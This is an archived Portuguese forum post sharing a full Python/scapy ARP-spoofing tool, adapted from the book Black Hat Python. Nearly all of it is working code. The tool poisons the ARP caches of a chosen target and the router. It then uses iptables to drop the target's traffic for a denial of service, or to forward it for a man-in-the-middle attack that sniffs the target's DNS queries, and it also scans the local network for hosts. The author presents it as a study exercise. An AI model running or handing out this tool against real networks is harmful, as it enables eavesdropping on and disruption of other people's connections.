Guest gnoo Posted August 1, 2018 Posted August 1, 2018 Saudações, recentemente andava ver um código do livro Black hat python programming for hackers and pentesters, e encontrei lá um capítulo onde falava de ARP Spoofing, e comecei a ler o código, o seu conteúdo explica a fazer a alteração da cache ARP reestruturar a rede e a armazenar os resultado dos pacotes em .pcap... mas houve uma falha naquela explicação, ele fala sobre alterar o valor do módulo ip_forward para 1, mas não fala sobre as regras do iptables, vamos imaginar que quem segue aquele conteúdo não sabe que o Chain FORWARD policy tem que estar como ACCEPT, e está definido como DROP, na prática o que ele vai estar a fazer é um negação de serviço, em vez de deixar passar o tráfego, foi uma falha naquele capitulo... Eu agarrei o código dele, nas funções principais, retirei a parte em que cria o ficheiro .pcap, acrescentei funções minhas e automatizei algumas tarefas. A minha versão tem: alteração da cache ARP reestruturação da rede Obter MAC dos Hosts e Router Ataque DoS em que é definida a regra Chain FORWARD policy para DROP MITM em que é definida a regra Chain FORWARD policy para ACCEPT Scan ARP para procurar hosts na rede em varias fases do programa, na saida de dados dá IP MAC e Hostname dos mesmos Numa fase inicial tentar encontrar um ou mais routers na rede. ( sem certeza que encontra mais que um porque não tinha outro router nem Switcher para experimentar, pelo menos um encontra de certeza ). Detecta todas as placas de rede na máquina, com valores de pacotes enviados e recebidos em cada uma das placas de rede Dessas placas de rede recebemos dados como IP Broadcast netmask etc.. E mais algumas coisas que não me lembro Vê requisições DNS durante o MITM E mais algumas coisas que não me lembro. Vou dar continuidade a este código para juntar outras funcionalidades, assim permite-me estudar outras coisas. O interessante de fazer um programa destes, não é porque a ferramenta em si seja extraordinária, mas sim o exercício e o que ele te permite aprender, especialmente no que toca a redes e algumas bibliotecas interessantes do python que nos facilitam bastante a vida. Como é óbvio criticas são SEMPRE bem vindas ! Segue o código: #!/usr/bin/env python3 import sys import os import time import socket import re try: from scapy.all import * except: print("O módulo scapy não está instalado") try: import psutil except: print("O módulo psutil não está instalado !") try: import netifaces except: print("O módulo netifaces não está instalado !") def restaura_target(router_ip, router_mac, target_ip, target_mac): print("A restaurar target...") send(ARP(op = 2, psrc = router_ip, pdst = target_ip, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = router_mac), count = 5) send(ARP(op = 2, psrc = target_ip, pdst = router_ip, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = target_mac), count = 5) def get_mac(endereco_ip): try: resposta, nao_resposta = srp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst = endereco_ip), timeout = 2, retry = 10) # Retorna o endereço MAC de uma resposta for s, r in resposta: return r[Ether].src return None except: pass def Altera_Cache_Arp_MITM(router_ip, router_mac, target_ip, target_mac): arp_target = ARP() arp_target.op = 2 arp_target.psrc = router_ip arp_target.pdst = target_ip arp_target.hwdst = target_mac arp_router = ARP() arp_router.op = 2 arp_router.psrc = target_ip arp_router.pdst = router_ip arp_router.hwdst = router_mac print("A iniciar alteração CACHE ARP -> [ CTRL + C -> STOP]") while True: try: send(arp_target) send(arp_router) sniff(iface = interface, filter = "port 53", prn = dns_sniff, store = 0) except KeyboardInterrupt: restaura_target(router_ip, router_mac, target_ip, target_mac) print("Ataque ARP terminado.") with open("/proc/sys/net/ipv4/ip_forward", "w", encoding = "utf-8" ) as ip_forward: ip_forward.write("0") time.sleep(2) print("A reiniciar...\n ") os.execl(sys.executable, sys.executable, *sys.argv) def Altera_Cache_Arp_DOS(router_ip, router_mac, target_ip, target_mac): arp_target = ARP() arp_target.op = 2 arp_target.psrc = router_ip arp_target.pdst = target_ip arp_target.hwdst = target_mac arp_router = ARP() arp_router.op = 2 arp_router.psrc = target_ip arp_router.pdst = router_ip arp_router.hwdst = router_mac print("A iniciar alteração CACHE ARP -> [ CTRL + C -> STOP]") while True: try: send(arp_target) send(arp_router) except KeyboardInterrupt: restaura_target(router_ip, router_mac, target_ip, target_mac) print("Ataque ARP terminado.") with open("/proc/sys/net/ipv4/ip_forward", "w", encoding = "utf-8" ) as ip_forward: ip_forward.write("0") time.sleep(2) print("A reiniciar...\n ") os.execl(sys.executable, sys.executable, *sys.argv) def input_dados_Dos(): lista_resposta_sim = ["s","sim","SIM"] lista_resposta_nao = ["n", "não","nao", "NAO", "NÃO"] while True: resp_scan = input("Queres localizar Hosts na rede ? [s/n] ") if not resp_scan: print("Não foi obtida qualquer resposta.. Responde [s/n] ") elif resp_scan in lista_resposta_sim: scan_arp_hosts(ip_tupla) break elif resp_scan in lista_resposta_nao: break else: print("{} não é uma resposta válida !".format(resp_scan)) target_ip = input("Inserir DoS TARGET -> ") target_mac = get_mac(target_ip) if target_mac is None: print("Falhou resolver MAC em {}".format(target_ip)) sys.exit(0) else: print("Target {} em {}".format(target_ip, target_mac)) Altera_Cache_Arp_DOS(router_ip, router_mac, target_ip, target_mac) def input_dados_MITM(): lista_resposta_sim = ["s","sim","SIM"] lista_resposta_nao = ["n", "não","nao", "NAO", "NÃO"] while True: resp_scan = input("Queres localizar Hosts na rede ? [s/n] ") if not resp_scan: print("Não foi obtida qualquer resposta.. Responde [s/n] ") elif resp_scan in lista_resposta_sim: scan_arp_hosts(ip_tupla) break elif resp_scan in lista_resposta_nao: break else: print("{} não é uma resposta válida !".format(resp_scan)) target_ip = input("Inserir MITM TARGET -> ") target_mac = get_mac(target_ip) if target_mac is None: print("Falhou resolver MAC em {}".format(target_ip)) sys.exit(0) else: print("Target {} em {}".format(target_ip, target_mac)) Altera_Cache_Arp_MITM(router_ip, router_mac, target_ip, target_mac) def scan_arp_hosts(ip_tupla): print("A procurar hosts na rede ARP Scanner... Aguardar...") print("Em espera, ARP Reply...") resp, sem_resp = srp(Ether(dst= "ff:ff:ff:ff:ff:ff")/ARP(pdst = "{0[0]}".format(ip_tupla) + "/24"), timeout = 2, iface = "{0[1]}".format(ip_tupla), inter =0.1) print("Atividade na rede:") for snd, rcv in resp: hostname_na_rede = socket.getfqdn(rcv.sprintf(r"%ARP.psrc%")) print(rcv.sprintf(r"Host: %ARP.psrc% - MAC: %Ether.src% - ") + hostname_na_rede) return hostname_na_rede, rcv.sprintf(r"%ARP.psrc%") def devolve_ip_router(ip_tupla): ip_router_lista = [] for itens in ip_tupla: if re.match(r"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$",str(itens)): ip_router_lista.append(itens) for ip in ip_router_lista: router_hostname = socket.getfqdn(ip) print("ROUTER detetado - {} - {}".format(ip, router_hostname)) def devolve_host_local(ip_tupla): dados = netifaces.ifaddresses("{0[1]}".format(ip_tupla)) dicionario_dados = dados[netifaces.AF_INET][0] return socket.gethostname(), dicionario_dados["addr"] def informacao_geral(): identifica_ip_router = netifaces.gateways() ip_tupla = identifica_ip_router[netifaces.AF_INET][0] devolve_ip_router(ip_tupla) print("NIC detetado :") interfaces_e_info = psutil.net_io_counters(pernic = True) lista_interface = [] for dados in interfaces_e_info: if dados.startswith("l") and dados.endswith("o") or dados.startswith("l") and dados.endswith("0"): pass else: lista_interface.append(dados) for info_nic in lista_interface: print("{}: pkt env = {} / pkt recv = {}".format(info_nic, interfaces_e_info[info_nic][2], interfaces_e_info[info_nic][3])) print("NIC em uso -> {0[1]}".format(ip_tupla)) scan_arp_hosts(ip_tupla) def dns_sniff(pacote): if IP in pacote: ip_source = pacote[IP].src ip_destino = pacote[IP].dst if pacote.haslayer(DNS) and pacote.getlayer(DNS).qr == 0: if ip_source == ip_host_local: pass else: return "TARGET: {} - ROUTER: {} - DNS: {}".format(ip_source, ip_destino, pacote.getlayer(DNS).qd.qname.decode()) def main(): if os.geteuid() != 0: print("O programa deve ser executado como root !") sys.exit(0) with open("/proc/sys/net/ipv4/ip_forward", "w", encoding = "utf-8" ) as ip_forward: # Altera valor módulo ip_forward para 1 ip_forward.write("1") interfaces_e_info = psutil.net_io_counters(pernic = True) # Recebe info todas NIC's detectadas """ bytes_sent, bytes_recv, packets_sent, packets_recv, errin, errout, dropin, dropout """ identifica_ip_router = netifaces.gateways() # Retorna um dicionário com IP do router e interface NIC rede atual global ip_tupla ip_tupla = identifica_ip_router[netifaces.AF_INET][0]# retorna uma tupla com o ip do router e a interface da placa de rede atual em uso ip_router_lista = [] # Recebe IP router detectado na tupla for itens in ip_tupla: if re.match(r"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$",str(itens)): # Procura arquitetura ip na tupla ip_router_lista.append(itens) """ O ciclo for anterior com a linha 'if re.match(r"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$",str(itens)):', foi pensado no caso de haver mais do que um router ignorando a interface NIC. """ global ip_host_local hostname, ip_host_local = devolve_host_local(ip_tupla) # Detecta o IP classe C da máquina local o seu hostname print("\nNIC detetado :") lista_interface = [] for dados in interfaces_e_info: if dados.startswith("l") and dados.endswith("o") or dados.startswith("l") and dados.endswith("0"): #Ignora interface loopback """ Podemos admitir que com nomes de interfaces que iniciam e terminam com caracteres diferentes não ignora a interface loopback """ pass else: lista_interface.append(dados) for info_nic in lista_interface: print("{}: pkt env = {} / pkt recv = {}".format(info_nic, interfaces_e_info[info_nic][2], interfaces_e_info[info_nic][3])) #Retrona atividade pacotes no NIC """ O objetivo de obter pacotes recebidos e enviados, é perceber qual a interface que tem actividade e que vamos analisar o tráfego que lá passa """ print("NIC em uso -> {0[1]} em {1} - {2}".format(ip_tupla, ip_host_local, hostname)) # identifica NIC em uso, IP host local e o seu hostname mais_info_nic = psutil.net_if_addrs() # Escolhemos a interface que vamos fazer passar o tráfego para observação, em simultâneo detecta a existência da interface no sistema # na lista_interface try: while True: global interface interface = input("NIC para escuta -> ") if not interface: print("NIC não foi selecionado !") elif interface not in lista_interface: print("{} não está disponivel !".format(interface)) else: print("[*] A preparar a interface {}".format(interface)) # Define a nossa interface conf.iface = interface # Mais info sobre NIC escolhido lista_mais_info_nic_INET = list(mais_info_nic[interface][0]) # info IPV4 lista_mais_info_nic_INET6 = list(mais_info_nic[interface][1]) # info IPV6 lista_mais_info_nic_LINK = list(mais_info_nic[interface][2]) # info Ethernet print("NIC: {} info :".format(interface)) print("inet: {} netmask: {} broadcast: {} ".format(lista_mais_info_nic_INET[1], lista_mais_info_nic_INET[2], lista_mais_info_nic_INET[3])) print("inet6: {} netmask: {} broadcast: {}".format(lista_mais_info_nic_INET6[1], lista_mais_info_nic_INET6[2], lista_mais_info_nic_INET6[3])) print("link: {} netmask: {} broadcast: {}\n".format(lista_mais_info_nic_LINK[1], lista_mais_info_nic_LINK[2], lista_mais_info_nic_LINK[3])) break except KeyboardInterrupt: print("\nOperação terminada !") sys.exit(0) conf.verb = 0 # Desabilita verbose de string originado pelo scapy global router_mac global router_ip time.sleep(1) # Detecta router na lista ip_router_lista print("-> ROUTER detetado :") for r_ip in ip_router_lista: print(r_ip + " - {}".format(socket.getfqdn(r_ip))) # retorna IP e hostname router # Escolhemos o router detectado, em simultâneo detecta a existência do router na lista ip_router_lista """ Esta tarefa pode ser automatizada, é valida se estivermos a pensar em detectar mais que um router, e escolher um para conexão """ while True: try: router_ip = input("IP router -> ") if not router_ip: print("Router não selecionado !") elif router_ip not in ip_router_lista: print("ROUTER {} não está disponivel !".format(router_ip)) print("-> detetado ROUTER :") for r_ip in ip_router_lista: print(r_ip) else: break except KeyboardInterrupt: print("\nOperação terminada !") sys.exit(0) router_mac = get_mac(router_ip) # Retorna MAC router contador = 0 # Faz vária tentativas para resolver MAC router while contador < 4: try: if router_mac is None: print("Falhou a resolver MAC ROUTER em {} Tentar novamente... ".format(router_ip)) router_mac = get_mac(router_ip) if contador == 3: print("Ultima tentativa a resolver MAC ROUTER em {} ! Preparar para sair...".format(router_ip)) router_mac = get_mac(router_ip) print("Não conseguiu resolveu MAC ROUTER em {} ".format(router_ip)) sys.exit(0) else: print("Resultado:") print("ROUTER: {} MAC: {} - {}\n".format(router_ip, router_mac, socket.getfqdn(router_ip))) break contador += 1 except KeyboardInterrupt: print("Operação terminada pelo usuário... A sair") sys.exit(0) print("A iniciar (cmd)...") time.sleep(1) print("Utilização cmd... sabe mais com -> Help / -h\n") while True: try: comando = input("(cmd)>>> ") if comando == "Dos": os.system("iptables -P FORWARD DROP") # Define regra iptables Chain FORWARD policy DROP, deixa "cair" pacotes input_dados_Dos() elif comando == "MITM": os.system("iptables -P FORWARD ACCEPT") # Define regra iptables Chain FORWARD policy ACCEPT, deixa passar tráfego no NIC input_dados_MITM() elif comando == "restart": os.execl(sys.executable, sys.executable, *sys.argv) # Reinicia programa elif comando == "exit": sys.exit(0) elif comando == "info": informacao_geral() # Dá info sobre NIC detectados, ROUTER detectados, e hosts ativos na rede com scan ARP elif comando == "help" or comando == "-h": print("Comandos disponiveis:") print("-> Dos (Denial of Service)") print("-> MITM (Man in The Middle)") print("-> info (Informação Geral)") print("-> help / -h (Informação sobre cmd)") print("-> restart") print("-> exit") else: print("Comando \033[1;33m{}\033[00m não está disponivel, mais info: 'help' / '-h' ".format(comando)) except KeyboardInterrupt: print("\nOperação terminada !") sys.exit(0) if __name__ == '__main__': main() Obrigado
Recommended Posts
Archived
This topic is now archived and is closed to further replies.